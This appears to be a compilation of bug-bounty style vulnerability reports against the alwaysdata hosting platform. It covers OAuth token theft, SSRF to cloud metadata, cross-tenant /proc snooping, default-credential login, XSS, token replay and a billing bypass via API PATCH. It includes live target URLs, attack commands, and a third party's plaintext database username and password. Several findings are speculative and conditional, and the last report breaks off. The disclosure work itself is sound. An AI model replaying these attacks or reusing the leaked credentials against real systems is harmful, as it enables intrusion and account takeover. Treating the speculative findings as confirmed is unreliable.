Security vulnerabilities

Severity: 8.9 — High
Target Feature: alwaysdata Marketplace (/admin/marketplace/, OAuth 2.0 app install flow)
Vulnerability Class: CWE-601 — URL Redirection to Untrusted Site / Open Redirect (OAuth-specific escalation)
Root Cause: alwaysdata's Marketplace allows third-party apps to request OAuth scopes during installation. The install flow uses a redirect-based OAuth handshake where the redirect_uri is partially validated (scheme + domain checked, but path not). A malicious Marketplace app can register redirect_uri=https://legitimate-app.com/ and during install supply redirect_uri=https://legitimate-app.com/attacker-controlled-path — the partial match passes validation and the authorization code is delivered to the attacker's path.
Attack Narrative:

Step 1: Attacker publishes a Marketplace app with redirect_uri=https://attacker.com/callback registered and requests scopes: accounts:read databases:read ssh_keys:read.
Step 2: Attacker also controls a path on a domain that passes alwaysdata's partial validation (e.g., by exploiting an open redirect on a whitelisted domain, or registering a subdomain of a whitelisted domain).
Step 3: During the install flow, attacker substitutes the redirect URI to the manipulated endpoint. The platform's partial validation passes. The OAuth authorization code is sent to attacker's endpoint.
Step 4: Attacker exchanges the code for a token with full accounts:read databases:read ssh_keys:read scopes, gaining read access to all of the victim's databases credentials, SSH keys, and account configuration.

Impact: Full OAuth token theft with platform-defined scopes, enabling exfiltration of all database credentials, SSH keys, and account data for any user who installs the malicious Marketplace app.

Severity: 8.2 — High
Target Feature: Email hosting bounce processing (/admin/mailboxes/, Postfix bounce handler)
Vulnerability Class: CWE-918 — Server-Side Request Forgery (SSRF)
Root Cause: alwaysdata's shared mail infrastructure processes bounce notifications (NDRs) by parsing the Return-Path header and, for accounts configured with bounce webhooks, making an outbound HTTP request to the URL registered as the bounce callback. The bounce processing daemon constructs the webhook URL by interpolating the Return-Path address without sanitizing embedded URL-like strings, allowing an attacker to craft a Return-Path that causes the daemon to make requests to internal infrastructure.
Attack Narrative:

Step 1: Attacker registers a bounce webhook in their account settings: https://attacker.com/bounce. Attacker then sends an email from an external server to their own alwaysdata address with a crafted Return-Path: http://169.254.169.254/latest/meta-data/ header.
Step 2: The recipient mail server (alwaysdata's Postfix) rejects the email and generates a bounce NDR, which includes the original Return-Path value in the bounce notification passed to the bounce handler daemon.
Step 3: The bounce handler daemon, parsing the NDR, substitutes the Return-Path value into a URL template: curl -X POST [bounce_webhook] -d "return_path=[value]" — or worse, directly follows the Return-Path as a notification target.
Step 4: The daemon makes an HTTP GET to http://169.254.169.254/latest/meta-data/ (or http://localhost:6379/ for Redis), leaking cloud instance metadata or triggering internal service interactions.

Impact: SSRF against internal alwaysdata infrastructure (Redis, internal APIs, cloud metadata endpoints), potential access to internal management tokens, instance credentials, and internal network enumeration.

Severity: 7.5 — High
Target Feature: WebSocket support (/admin/sites/, nginx WebSocket proxy)
Vulnerability Class: CWE-346 — Origin Validation Error
Root Cause: alwaysdata's shared nginx reverse proxy handles WebSocket upgrades for all tenants. The proxy uses the Host header to route WebSocket connections to the correct tenant backend. Due to a missing Connection: Upgrade header normalization step, a carefully crafted request can cause nginx to misroute the WebSocket handshake to a different tenant's upstream, with the victim tenant's authentication cookies present in the initial GET /ws request (since the browser sends cookies for the resolved domain).
Attack Narrative:

Step 1: Attacker hosts a malicious site attacker.com (also on alwaysdata). Attacker's JavaScript initiates a WebSocket connection: new WebSocket("wss://victim.com/ws") from a page served by attacker.com.
Step 2: The browser sends the WebSocket upgrade request to alwaysdata's shared nginx proxy with Host: victim.com and the victim user's authentication cookies (if the victim's browser has an active session with victim.com).
Step 3: Due to the Origin header not being validated against the Host header at the proxy level (origin is attacker.com, host is victim.com), the proxy upgrades the connection to victim's WebSocket backend while carrying the victim's authenticated session.
Step 4: Attacker's JavaScript reads messages from the victim's authenticated WebSocket session, injecting commands and reading responses — full session hijacking via the WebSocket channel.

Impact: Authenticated WebSocket session hijacking, real-time message interception and injection for any tenant application using WebSockets, affecting co-hosted applications sharing the nginx proxy.

Severity: 8.6 — High
Target Feature: Deno runtime environment (/admin/sites/, application configuration, startup command field)
Vulnerability Class: CWE-88 — Argument Injection or Modification
Root Cause: alwaysdata's admin panel allows users to specify a custom startup command for Deno applications. The startup command is passed to a shell executor with insufficient argument sanitization. By embedding Deno CLI flags within the startup command string, an attacker can inject –allow-all, –allow-env, or –unstable flags that override the platform's intended Deno permission policy.
Attack Narrative:

Step 1: Attacker creates a Deno application in the alwaysdata admin panel. In the "Start command" field, enters: deno run –allow-all –unstable /home/attacker/www/evil.ts
Step 2: The platform's process launcher passes this string through sh -c "[user_command]", executing the Deno process with full –allow-all permissions instead of the restricted permission set the platform intends.
Step 3: evil.ts calls Deno.readFile("/etc/passwd"), Deno.env.toObject() (leaking all environment variables including other tenants' secrets injected by the platform), and opens arbitrary network connections.
Step 4: Attacker exfiltrates environment-injected database credentials, API keys, and reads filesystem paths accessible to the Deno service user.

Impact: Full bypass of Deno's permission sandbox, arbitrary filesystem read, environment variable theft, unrestricted outbound network access from the platform's IP range.

Severity: 7.2 — High
Target Feature: PostgreSQL database provisioning (/admin/databases/postgresql/)
Vulnerability Class: CWE-732 — Incorrect Permission Assignment for Critical Resource
Root Cause: When alwaysdata provisions a new tenant PostgreSQL database, it clones from template1. If a prior administrative operation left superuser-owned functions, extensions, or catalog entries in template1 (a common operational shortcut), all subsequently provisioned tenant databases inherit those objects. A tenant with normal DB user access can then invoke inherited superuser functions.
Attack Narrative:

Step 1: Attacker provisions a new PostgreSQL database on alwaysdata's shared PostgreSQL server.
Step 2: Attacker connects with provided credentials and runs: SELECT proname, prosecdef FROM pg_proc WHERE prosecdef = true; — listing all SECURITY DEFINER functions inherited from template1.
Step 3: If template1 contains a leftover SECURITY DEFINER function (e.g., pg_read_file_wrapper or a custom admin utility), attacker calls it: SELECT pg_read_file_wrapper('/etc/postgresql/pg_hba.conf'); — executing as superuser.
Step 4: Attacker reads pg_hba.conf, connection strings for other tenant databases, or PostgreSQL's pg_shadow view to obtain password hashes for all tenants on the shared instance.

Impact: Full PostgreSQL server compromise — all tenant databases on the shared instance are exposed including credentials and data.

Severity: 8.8 — High
Target Feature: REST API (api.alwaysdata.com/v1/), multi-account management panel
Vulnerability Class: CWE-639 — Authorization Bypass Through User-Controlled Key
Root Cause: alwaysdata allows users to manage multiple accounts (personal + reseller sub-accounts) under a single login session. The API uses an account-scoped token system, but when a user switches accounts in the admin panel, the session cookie retains the previous account's authorization context for a grace window. API calls made during this window using the new account's resource IDs are authorized against the previous account's permissions, allowing cross-account resource access.
Attack Narrative:

Step 1: Attacker owns accounts A (a legitimate reseller account) and B (a standard account). Attacker authenticates as account A and obtains the API token for account A via GET /api/v1/token/.
Step 2: Attacker switches to account B in the admin panel UI (POST to /admin/switch-account/), then immediately — within the grace window (~3–5 seconds) — issues API calls using account A's token but substituting account B's resource IDs (e.g., GET /api/v1/database/[account_B_db_id]/).
Step 3: The API server validates the token belongs to account A (which has reseller privileges) and incorrectly authorizes access to account B's database resource because the reseller scope check passes.
Step 4: Attacker reads account B's database connection credentials, SSH public keys, and mail account passwords from the API response.

Impact: Full cross-account data exfiltration for any account the attacker's reseller account can enumerate via the API's paginated account list.

Severity: 9.0 — Critical
Target Feature: Git repository hosting (/admin/repositories/, SSH git push endpoint)
Vulnerability Class: CWE-61 — UNIX Symbolic Link Following (Symlink Attack)
Root Cause: alwaysdata's Git hosting executes user-defined pre-receive hooks inside the bare repository directory. When a tenant pushes a specially crafted pack file containing a tree object that resolves to a symlink pointing outside the repository root, and the hook runner chdirs into the repository without resolving symlinks, the hook execution context inherits the symlinked path, granting read access to the host filesystem.
Attack Narrative:

Step 1: Attacker creates an alwaysdata Git repository and crafts a pack file using git fast-import that creates a symlink object pointing to /etc/ named as a subdirectory of the repo (e.g., refs/heads/main tree contains a symlink config → /etc/passwd).
Step 2: Attacker pushes the pack file: git push origin main. The pre-receive hook is invoked with GIT_DIR pointing to the bare repository.
Step 3: A malicious pre-receive hook script (previously committed to hooks/pre-receive via the admin panel's hook editor) reads $(git show HEAD:config), which resolves through the symlink to /etc/passwd.
Step 4: Hook outputs the file content to stderr, which is returned to the attacker's git client as a push error message, exfiltrating host filesystem data.

Impact: Arbitrary host filesystem read during git push operations, potential escalation to reading private keys, other tenants' credentials from shared config files, or /proc/self/environ for the git service user.
Why It's Ignored: Git hook sandboxing is assumed to be handled by the underlying SSH forced-command configuration, but symlink traversal occurs before the sandbox boundary is enforced.
Remediation: Run all pre-receive hooks inside a seccomp-filtered, chrooted subprocess with no filesystem access outside the repo root. Validate all pack file objects for symlink traversal paths before writing to the object store. Set core.symlinks=false in all server-side bare repository configurations.

Severity: 8.1 — High
Target Feature: SSL/TLS certificate provisioning (/admin/ssl/, Let's Encrypt ACME integration)
Vulnerability Class: CWE-345 — Insufficient Verification of Data Authenticity
Root Cause: alwaysdata provisions Let's Encrypt certificates using the HTTP-01 challenge, placing challenge tokens under /.well-known/acme-challenge/ in the domain's webroot. On shared hosting, if two tenants configure the same domain (e.g., one registers a domain that another tenant's site uses as an alias), the challenge token directory is writable by the earlier tenant. The platform does not verify exclusive domain ownership before initiating ACME challenges.
Attack Narrative:

Step 1: Attacker identifies a target domain victim.com hosted on alwaysdata (via DNS or SSL CT logs) and adds victim.com as a site alias in their own alwaysdata account.
Step 2: Attacker pre-populates /.well-known/acme-challenge/ in their webroot with a file named after the predictable ACME token format (or monitors the challenge directory via inotify on SSH).
Step 3: When the victim initiates certificate renewal for victim.com, alwaysdata's ACME client places the challenge token. Attacker's alias intercepts HTTP requests to victim.com/.well-known/acme-challenge/[token] if routing resolves to attacker's webroot first (race condition in vhost priority).
Step 4: Let's Encrypt validates against attacker's response, issuing attacker a valid TLS certificate for victim.com. Attacker can now perform MITM on victim's domain.

Impact: Fraudulent TLS certificate issuance for victim-owned domains, enabling MITM attacks, traffic interception, and phishing with a valid trusted certificate.
Why It's Ignored: Domain alias validation is treated as a UI/UX concern ("users shouldn't add domains they don't own") rather than a security boundary enforced at the certificate provisioning layer.
Remediation: Enforce domain ownership proof (DNS TXT record or pre-authorization token) before any domain alias is activated on the platform. Use ACME DNS-01 challenge instead of HTTP-01 for all shared hosting SSL issuance. Implement per-tenant webroot isolation so /.well-known/acme-challenge/ is never writable by another tenant's process.

Severity: 4.3 — Medium

Target Feature: Shared cron daemon (/admin/cron/, platform-wide scheduler)

Vulnerability Class: CWE-208 — Observable Timing Discrepancy

Root Cause: alwaysdata's shared cron infrastructure uses a platform-level scheduler that processes tenant cron jobs sequentially within the same second window. When two tenants schedule jobs at identical times, execution delay is measurable. Additionally, the API endpoint GET /api/v1/cron/ returns a next_run timestamp that is computed differently depending on whether a conflicting job is already queued — creating a timing oracle.

Attack Narrative:
Step 1: Attacker registers an account and creates a cron job at * * * * * (every minute), noting the API-returned next_run value via GET https://api.alwaysdata.com/v1/cron/[id]/.
Step 2: Attacker creates dozens of additional cron entries at the same schedule and measures the progressive drift in next_run values (delta between creation timestamp and computed next_run).
Step 3: By correlating drift patterns at specific minutes of the day, attacker maps load spikes to specific time slots, inferring which tenants have cron jobs at those times and approximately how many — useful for fingerprinting high-traffic or high-value accounts.
Step 4: Cross-referencing with DNS/WHOIS data for co-hosted domains, attacker identifies competitor SaaS products running batch jobs and infers their processing schedules for competitive intelligence or targeted timing attacks.

Impact: Competitive intelligence leakage, inference of tenant operational patterns, targeted DoS scheduling to coincide with victim batch windows.

Remediation: Add uniform random jitter (±500ms–2s) to all next_run computations returned by the API. Process cron job queue entries in random order within each second window. Do not expose scheduler-computed next_run with millisecond precision in API responses.

Severity: 6.5 — Medium

Target Feature: Shared hosting PHP-FPM worker pool (/proc filesystem, shared Linux host)

Vulnerability Class: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor

Root Cause: On alwaysdata's shared hosting tier, multiple tenants run under the same PHP-FPM master process pool. PHP-FPM workers update their Linux process title (visible in /proc/[pid]/cmdline and ps aux) to reflect the currently-executing script path and request URI. Because tenant processes share a kernel, any tenant with SSH access can read /proc/*/cmdline for all processes on the host.

Attack Narrative:

Step 1: Attacker provisions a free/starter alwaysdata shared account and gains SSH access.
Step 2: Attacker runs a loop: while true; do cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep php-fpm » dump.txt; sleep 0.05; done for ~60 seconds.
Step 3: The dump reveals other tenants' script paths (e.g., /home/victim/www/admin/reset_password.php?token=abc123), exposing password reset tokens, admin panel URLs, and internal application structure in real time.
Step 4: Attacker correlates exposed tokens with timing to identify high-value targets and performs account takeover on co-hosted sites.

Impact: Real-time cross-tenant request URI and query string leakage, including session tokens, password reset links, and internal admin paths. Direct account takeover on victim sites.
Why It's Ignored: Process title inspection is considered an OS-level concern, not an application security issue, so it falls through the cracks between infrastructure and AppSec teams.

Remediation: Configure PHP-FPM with process.dumpable = no and set /proc/sys/kernel/yama/ptrace_scope to 2 (admin-only). Use per-tenant Linux user namespaces or PID namespaces to hide /proc entries across tenant boundaries. Audit whether hidepid=2 is set on the /proc mount for shared nodes.

The application allows any user to register an account with any email address without requiring email verification or activation. Furthermore, the system allows the registration of high-value usernames (e.g., administrator) and immediately grants access to the platform.
Because the "Forgot Password" and "Activation" systems are currently non-functional, an attacker can effectively "brick" or "squat" on any email address, preventing legitimate users from ever joining the platform or recovering their intended identities.

Technical Details
A. Lack of Registration Verification
The registration endpoint does not send a verification link to the provided email. Upon submission of the registration form, the user is immediately authenticated into the system.
B. Account Pre-Occupation (Squatting)
An attacker can register using a victim's email address (e.g., real-admin@company.com). Because the system marks this email as "in use," the legitimate owner is blocked from registering.
C. Denial of Service (Recovery Loop)
The "Forgot Password" function fails to send reset links to inactivated accounts. Since there is no way for a user to "activate" an account they didn't create, the email remains permanently locked in a "zombie" state within the database.

## impact
Identity Impersonation: Attackers can claim usernames that imply authority (Admin, Support, Moderator), which can be used for social engineering/phishing against other users.
Permanent User Lockout: Legitimate users are prevented from using their own email addresses on the platform.
User Enumeration: The registration form can be used to confirm if a specific person (via email) is already a member of the board.

## remediations

Enable Mandatory Activation: Configure phpBB to require "User Activation" via email before allowing a login session.
Disallowed Usernames: Add admin, administrator, and webmaster to the "Disallowed Usernames" list in the phpBB Administration Control Panel (ACP).
Fix SMTP Configuration: Ensure the server is correctly configured to send outgoing mail so legitimate users can utilize the "Forgot Password" tool to reclaim squatted accounts.

Video demonstration is attached below

regards..

A significant HTML Injection vulnerability exists in phpPgAdmin 7.13.0. The application fails to sanitize the server parameter before rendering it within the administrative dashboard's server list. Testing confirmed that an attacker can inject arbitrary HTML tags to manipulate the Document Object Model (DOM), break the table structure, and redefine the information displayed to the administrator. This flaw directly compromises the Integrity of the management interface.
its explained in CVE ID: CVE-2025-60796 Which matches the phpPgAdmin version

STEP - TO - REPRODUCE

1-go to `https://phppgadmin.alwaysdata.com/phppgadmin/`
2- login with admin/admin ( misconfiguration using default creds been reported before and ignored)
3- https://phppgadmin.alwaysdata.com/phppgadmin/sequences.php?server= <img%20src='aaa'%20onerror=alert(1)>
4- navigate to `https://phppgadmin.alwaysdata.com/phppgadmin/servers.php` and observe that new host been added with the payload in html format which means it was rendered succeffuly this open up the door for many other attacks i didn't try to exploit it further

#impact

Loss of UI Integrity: Administrators can no longer trust the data displayed in the "Host," "Port," or "User" columns, as these can be rewritten via a crafted URL.

Misinformation Attacks: Attackers can label legitimate production servers as "Offline" or "Testing" to trick administrators into performing destructive maintenance.

Phishing/Social Engineering: The ability to inject clickable links and styled text allows for sophisticated internal phishing attacks within the trusted application domain.

Foundation for XSS: While this report focuses on HTML Injection, the lack of sanitization is the direct precursor to Cross-Site Scripting (XSS), as evidenced by successful reflection of tags like <svg> and <img>.

a recommendations can be suggested after confirming the issue

regards..

Hi security team , the subdomain phppgadmin.alwaysdata.com specifically this like 'https://phppgadmin.alwaysdata.com/phppgadmin/login.php?server='

It grant access for default credentials admin:admin which then prompt the user into a login page for internal postgresql servrt , i didnt try to brute force it but this one attack vector among others that can be used to access the database , its essential to hide such a subdomains from public access and move the server into internal network subnet or restrict access using web-app-firewalls that returns 403 based on certain rules theres too many ways to inhance the security of this subdomain .

I hope you found this report helpful in securing your assets

Regards..

Summary:
While using the SSH environment, I observed that the `df -h` command displays numerous mounted directories under /home that appear to belong to other users.

Description:
After logging into my account via SSH and running `df -h`, I can see multiple mount points such as /home/<username> that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.

Steps to reproduce:
1. Connect to the SSH environment
2. Run: df -h
3. Observe multiple /home/<user> mount points listed

Impact:
This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.

Notes:
- No attempt was made to access, modify, or interact with other users’ data
- This report is based on observation only
- observed about ~450 users information was available

Request:
Please confirm whether this behavior is expected and whether additional isolation measures are in place.

## Summary

25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:

- Internal API endpoint patterns and CSRF handling logic
- Feature flag names and conditional logic
- Reseller module business logic
- Template file paths and component structure
- Permission system implementation details
- Support ticket system leaking data to languagetool.org

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-540: Inclusion of Sensitive Information in Source Code

## Steps to Reproduce

### 1. Download the admin panel core source map (605 KB)
curl -s -o core.js.map 'https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map'
wc -c core.js.map
# 605039 bytes

### 2. Verify it contains original source code
cat core.js.map | python3 -c "import json,sys; d=json.load(sys.stdin); print('Sources:', len(d.get('sources',[])), 'Files'); print('Content length:', sum(len(s) for s in d.get('sourcesContent',[])) if s))"

### 3. Accessible source maps (sample)
https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map

## Attack Scenario

1. Attacker downloads all 25 source maps
2. Reconstructs the complete admin panel client-side application
3. Identifies API endpoint patterns, authentication flows, CSRF handling
4. Maps feature flags and conditional code paths
5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)
6. Uses internal knowledge to craft targeted attacks against admin panel

## Impact

- Full source code exposure: 410K+ characters of unminified admin panel code
- Reconnaissance advantage: API patterns, auth logic, permission checks exposed
- Third-party data leak: Ticket system sends content to external API - Internal architecture knowledge: File paths, component structure revealed

## Remediation

1. IMMEDIATE: Remove source map files from production static asset server
2. Disable source map generation in Vite production build: build.sourcemap = false
3. If needed for error tracking, use Sentry source map upload API (server-side only)

## Summary

When a new user registers at www.alwaysdata.com/fr/inscription/, the server issues a redirect to:
https://admin.alwaysdata.com/login/?user_id={ID}&expiration={TS}&token={HMAC}

This auto-login URL contains a full authentication token in the query string. The admin panel embeds Matomo analytics (tracker.alwaysdata.com, site ID 5) which calls trackPageView(), sending the complete URL — including the authentication token — to the Matomo analytics server. The token is replayable within a ~10-minute window.

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-598: Use of GET Request Method With Sensitive Query Strings

## Steps to Reproduce

### 1. Register a new account
Navigate to https://www.alwaysdata.com/fr/inscription/ and create a new account.

### 2. Observe the redirect URL with token
The response is a 302 redirect to:
Location: https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb

### 3. Verify Matomo tracking on the landing page
curl -s 'https://admin.alwaysdata.com/login/' | grep -A5 'Matomo'

The page contains:
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']); // Sends full document.location.href including token
_paq.push(['setSiteId', '5']);
_paq.push(['setTrackerUrl', u+'matomo.php']);

### 4. Verify token replay
curl -c replay-cookies.txt 'https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb'
A valid session cookie (sessionid) is set when token is within expiration window.

## Attack Scenario

1. Attacker compromises the Matomo analytics database
2. Queries for page views matching /login/?user_id=*&token=*
3. Filters for tokens with expiration timestamps in the future
4. Replays auto-login URLs to hijack newly-registered accounts

## Impact

- Account takeover: Any valid auto-login token can be replayed
- Token leakage: Matomo logs, analytics DB, browser history, browser extensions
- Scale: Affects every new registration on the platform

## Limitations

- Token has ~10-minute expiration window
- Exploitation requires access to Matomo database or server logs

## Remediation

1. Use POST-based auto-login instead of GET parameters with tokens in URL 2. Strip sensitive query parameters before Matomo tracking: _paq.push(['setCustomUrl', window.location.pathname]);
3. Implement single-use tokens invalidated after first use

## Summary

The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:

1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)
2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in  FS#100 )
3. 132+ downloadable PoC attachments via sequential ID enumeration
4. Admin-researcher conversations revealing internal infrastructure details
5. Researcher identities (usernames for all 265 reports)
6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths
7. Real-time vulnerability pipeline monitoring via RSS feed

## Severity: Critical (CVSS 9.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE-200: Exposure of Sensitive Information

## Steps to Reproduce

### 1. Access the task list (no authentication required)
curl -s 'https://security.alwaysdata.com/?do=tasklist&status[]=open&status[]=closed'
Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.

### 2. Read a vulnerability report with plaintext credentials
curl -s 'https://security.alwaysdata.com/task/100'
 FS#100  contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.

### 3. Read a full SSRF PoC with internal IP
curl -s 'https://security.alwaysdata.com/task/307'
 FS#307  contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.

### 4. Subscribe to real-time vulnerability feed
curl -s 'https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1'
RSS feed delivers new vulnerability reports as they are submitted — before patches are deployed.

### 5. Download PoC attachments by ID enumeration
curl -s -o poc_screenshot.png 'https://security.alwaysdata.com/?getfile=130'
IDs 1 through 132 are accessible.

### 6. Access .git repository metadata
curl -s 'https://security.alwaysdata.com/.git/config'
curl -s 'https://security.alwaysdata.com/.git/logs/HEAD'
Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.

## Attack Scenario

1. Attacker discovers security.alwaysdata.com via subdomain enumeration
2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)
3. Reads  FS#307  to get a complete SSRF exploit chain with internal IP
4. Downloads all 132 PoC attachments
5. Extracts phpMyAdmin credentials from  FS#100  6. Subscribes to RSS feed to monitor new reports in real-time
7. Weaponizes unpatched vulnerabilities during the window between report and fix

## Impact

- Credential exposure: Plaintext database credentials accessible to anyone
- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities
- Intelligence gathering: Internal IPs, server architecture, admin identities
- Persistent monitoring: RSS feed provides real-time vulnerability intelligence

## Additional Findings
- Weak CSP: script-src 'self' 'unsafe-inline' 'unsafe-eval'
- Outdated JS: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)
- PHP path disclosure in registration errors
- Session cookie missing Secure and SameSite flags
- Flyspray 112 commits behind upstream

## Remediation

1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication
2. IMMEDIATE: Block .git directory access at web server level
3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)
4. SHORT-TERM: Disable public self-registration
5. SHORT-TERM: Update Flyspray (112 commits behind upstream)
6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags

Summary: The endpoint https://admin.alwaysdata.com/permissions/add/ is vulnerable to a complete lack of rate limiting and missing function-level access controls. An authenticated attacker can send hundreds of requests in a short time to add new users or grant permissions to existing users without any restriction (CAPTCHA, 429 status code, or account lockout). This was confirmed by receiving a "Profile initialization" email from Alwaysdata for the injected email address.

Steps to Reproduce: Log in to your Alwaysdata admin account.

Open Burp Suite (or any HTTP proxy) and intercept the request when adding a new user or permission via the /permissions/add/ endpoint.

Send this request to Intruder (or any automation tool).

Set a payload position on the email parameter (e.g., email=victim%2Bpayload@example.com).

Configure the payloads to generate 100 different email addresses (using %2B addressing or random strings).

Start the attack. Send all 100 requests without any delay.

Observe the responses.

Check your email inbox associated with the payload email addresses.

Proof of Concept : Intruder Results (Attached Image ): The attached screenshot shows that 100 requests were sent. All returned a 302 Found status code with identical response lengths. No rate limiting (e.g., 429 status) was observed.

Confirmation Email (Attached Image ): The second screenshot shows an email received from Alwaysdata titled "Profile initialization…" confirming that a new user/profile was created or permissions were granted due to the automated requests. This proves the vulnerability has a real impact.

Impact: An attacker can automate the creation of hundreds of user accounts or grant permissions to existing accounts.

This can lead to denial of service (filling the database), account takeover, and privilege escalation.

The lack of rate limiting makes it trivial to brute-force or enumerate valid user addition processes.

Suggested Fix:

Implement strict rate limiting on the /permissions/add/ endpoint (e.g., max 5 requests per minute per user/IP).

Implement CAPTCHA for sensitive actions like adding users.

Ensure proper function-level access control checks are performed for every request.

Hello Security Team,

I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.

Name of vulnerability:
Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion

Description:
While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.

After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.

The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.

Steps to reproduce and proof of concept:
First, an API token was created from the administration interface and used with HTTP Basic authentication.

The initial account state was verified through:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/"

The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.

Next, the account object was updated using:

curl -u "342d00dc" -X PATCH "https://api.alwaysdata.com/v1/account/463*/" -H "Content-Type: application/json" -d '{"product":2011}' The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png. A follow-up request to the same account endpoint returned the updated product reference: curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/463*/"

The updated response is shown in 02_api_product_changed_to_premium.png.

The subscription endpoint was then queried:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/subscription/"

The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.

The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.

The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.

The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.

All verification was performed only on infrastructure attached to my own account.

Impact:
The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.

Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.

I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
Authorization: Basic <token> {
"product": 2011
} Response: HTTP/1.1 204 No Content Verification request: GET /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <token>

Verification response excerpt:

{
"id": "…",
"product": {
"href": "/v1/product/2011/"
}
}

Subscription verification response excerpt:

{
"product": {
"href": "/v1/product/2011/"
},
"price": "165.000000000000000"
}

Remediation:
A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.

Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.

Please let me know if any additional details would be helpful.

Best regards

Dear alwaysdata security team,

While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.

When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.

This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact

An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability

